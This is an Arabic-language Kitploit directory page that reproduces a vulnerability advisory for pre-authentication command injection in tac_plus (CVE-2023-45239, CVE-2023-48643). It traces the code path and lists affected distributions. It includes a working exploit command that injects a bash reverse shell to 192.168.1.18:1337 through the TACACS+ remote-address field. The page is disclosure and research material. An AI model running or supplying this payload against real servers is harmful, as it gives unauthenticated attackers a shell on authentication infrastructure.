Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
tac_plus-pre-auth-rce — ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في tac_plus (CVE-2023-45239 & CVE-2023-48643) | Kitploit
أدوات/GitHubGitHub/takeshixx/tac_plus-pre-auth-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعد
GitHubtakeshixx/tac_plus-pre-auth-rce

tac_plus-pre-auth-rce

ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في tac_plus (CVE-2023-45239 & CVE-2023-48643)

عرض المستودع
135منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة تنفيذ الأوامر عن بُعد قبل المصادقة في tac_plus

يحتوي هذا المستودع على معلومات حول ثغرة تنفيذ أوامر عن بُعد قبل المصادقة في تطبيقات مفتوحة المصدر مختلفة من tac_plus. الفرعان التاليان متأثران:

  • Shrubbery Networks tac_plus
  • Facebook tac_plus

ومع ذلك، فإن كلا الفرعين يستندان إلى مجموعة أدوات تطوير من Cisco لـ TACACS+ تم فتح مصدرها منذ أكثر من 16 عامًا. كانت الثغرة موجودة بالفعل في مجموعة الأدوات وتم نقلها إلى المشروعين. تجدر الإشارة إلى أن هذا البحث ركّز فقط على الفرعين المذكورين أعلاه، وقد تكون هناك فروع إضافية متأثرة أيضًا.

يوضح الرسم البياني التالي العلاقة بين الفروع، وكلها متأثرة:

root@kitploit:~
-----------------
| Cisco dev kit |
-----------------
       ↑
  forked from
       |
----------------------
| Shrubbery Networks |
|   CVE-2023-48643   |
----------------------
       ↑
  forked from
       |
------------------
|    Facebook    |
| CVE-2023-45239 |
------------------

لم يتم العثور على مصدر رسمي لمجموعة أدوات تطوير Cisco ولم تعد تتم صيانتها.

الحالة

  • نشرت فيسبوك استشارة أمنية على GitHub (GHSA)، وتم تعيين
CVE-2023-45239
  • لا يتوفر أي تصحيح لفرع Shrubbery Networks
  • الثغرة

    يشير المثال التالي إلى الكود في مستودع facebook/tac_plus لأنه متاح على GitHub (مجموعة أدوات تطوير Cisco وفرع Shrubbery Networks مجرد ملفات tarballs). ومع ذلك، فإن الكود المتأثر هو نفسه في جميع المشاريع.

    عندما تصل حزمة، يتم استدعاء الدالة start_session() لتحديد نوع الحزمة الواردة (مصادقة authentication، أو تفويض authorization، أو محاسبة accounting). نركّز على حزم التفويض التي تتم معالجتها بواسطة author() ← do_author()، والتي تستدعي بعد ذلك pre_authorization(). تتحقق هذه الدالة مما إذا كان اسم المستخدم في حزمة TACACAS+ يحتوي على أمر قبل التفويض مُعرّفًا وتنفذه عبر call_pre_process(). يُظهر ملف الإعداد التالي (tac_plus.conf) مستخدمًا مع أمر قبل التفويض مُعرّفًا:

    root@kitploit:~
    accounting file = /tmp/tac_acc.log
    
    user=DEFAULT {
     before authorization "/usr/local/sbin/tac_policy -- '$user' '$name' '$address'"
      service = exec {
        default attribute = permit
      }
    }
    

    تأخذ هذه الدالة الأمر المُعرّف في قبل التفويض وتستبدل substitutes المتغيرات (مثل $user أو $name أو $address) بقيم من حزمة TACACAS+ الواردة. ومع ذلك، يتم ذلك دون أي تحقق من الإدخال أو تنظيف له.

    سيتم تمرير سلسلة الأوامر الناتجة إلى my_popen() التي تنفّذ سلسلة الأوامر في استدعاء execl() التالي:

    root@kitploit:~
    (void) execl("/bin/sh", "sh", "-c", cmd, (char *) NULL);
    

    يسمح هذا بحقن أوامر إضافية عبر حقل العنوان البعيد في حزم TACACS+ (انظر rem_addr وrem_addr_len في RFC8907). قد يعمل الأمر نفسه أيضًا مع حقول إدخال أخرى.

    تجدر الإشارة إلى أن الثغرة تُستغل أثناء عملية المصادقة. لذلك، لا يلزم كلمة مرور، فقط اسم مستخدم موجود في الإعداد!

    استغلال الثغرة

    يتم وصف تجميع وتشغيل tac_plus مع هذا الإعداد في الأقسام التالية:

    • إعداد Shrubbery Network tac_plus
    • إعداد Facebook tac_plus

    يشغّل الأمر التالي tacacs_client على البرنامج الخفي الهدف مع المستخدم DEFAULT. تكون الحمولة التي تستغل الثغرة في حقل العنوان البعيد، والذي يتم تعيينه عبر وسيط سطر الأوامر --rem-addr:

    root@kitploit:~
    export TACACS_PLUS_KEY=[REDACTED] # only required for setups with a pre-shared keys
    tacacs_client \
        --host 192.168.1.100 \
        --port 4949 \
        --username DEFAULT \
        --rem-addr "asd';bash -i >& /dev/tcp/192.168.1.18/1337 0>&1 #" \
        authorize -c service=exec
    

    سيؤدي تنفيذ هذا إلى اتصال shell عكسي بالعنوان 192.168.1.18:1337. يجب أن يكون اسم المستخدم واحدًا من المستخدمين الذين لديهم توجيه قبل التفويض أو بعد التفويض مُعرّفًا في tac_plus.cfg. قائمة الأوامر اللاحقة (-c service=exec) مطلوبة للوصول إلى مسار الكود المطلوب، لكن القيمة لا تهم.

    تظهر حزمة TACACS+ التي يرسلها العميل في لقطة الشاشة التالية في Wireshark:

    إعداد Wireshark

    تُظهر لقطة الشاشة التالية جلسة تصحيح الأخطاء قبل تنفيذ الأمر المُحقن مباشرةً:

    تصحيح أخطاء VScode

    التوزيعات Linux المتأثرة / مشتقات BSD

    تستخدم توزيعات Linux المختلفة أحد الفرعين المتأثرين في حزمها الرسمية (غالبًا فرع Shrubbery Networks). توضح الجداول التالية توزيعات Linux ومشتقات BSD التي تستخدم إما فرع Shrubbery Networks أو فرع Facebook وقت كتابة هذا التقرير. القائمة غير شاملة، فمن المرجح أن تكون توزيعات/مشتقات أخرى متأثرة أيضًا.

    التوزيعةالحزمةالفرع
    FedoratacacsFacebook
    Ubuntutacacs+Shrubbery Networks
    OpenSUSEtac_plusShrubbery Networks
    Debiantacacs+Shrubbery Networks
    Arch Linux (AUR)tacacs-plusShrubbery Networks
    ...
    المشتقالمنفذالفرع
    FreeBSDtacacsShrubbery Networks
    NetBSDtacacsShrubbery Networks
    ...

    أمثلة حول كيفية إعادة إنتاج هذه المشكلة متاحة في الأقسام التالية:

    • أمثلة Shrubbery Networks tac_plus
    • أمثلة Facebook tac_plus
    تنزيل الأداة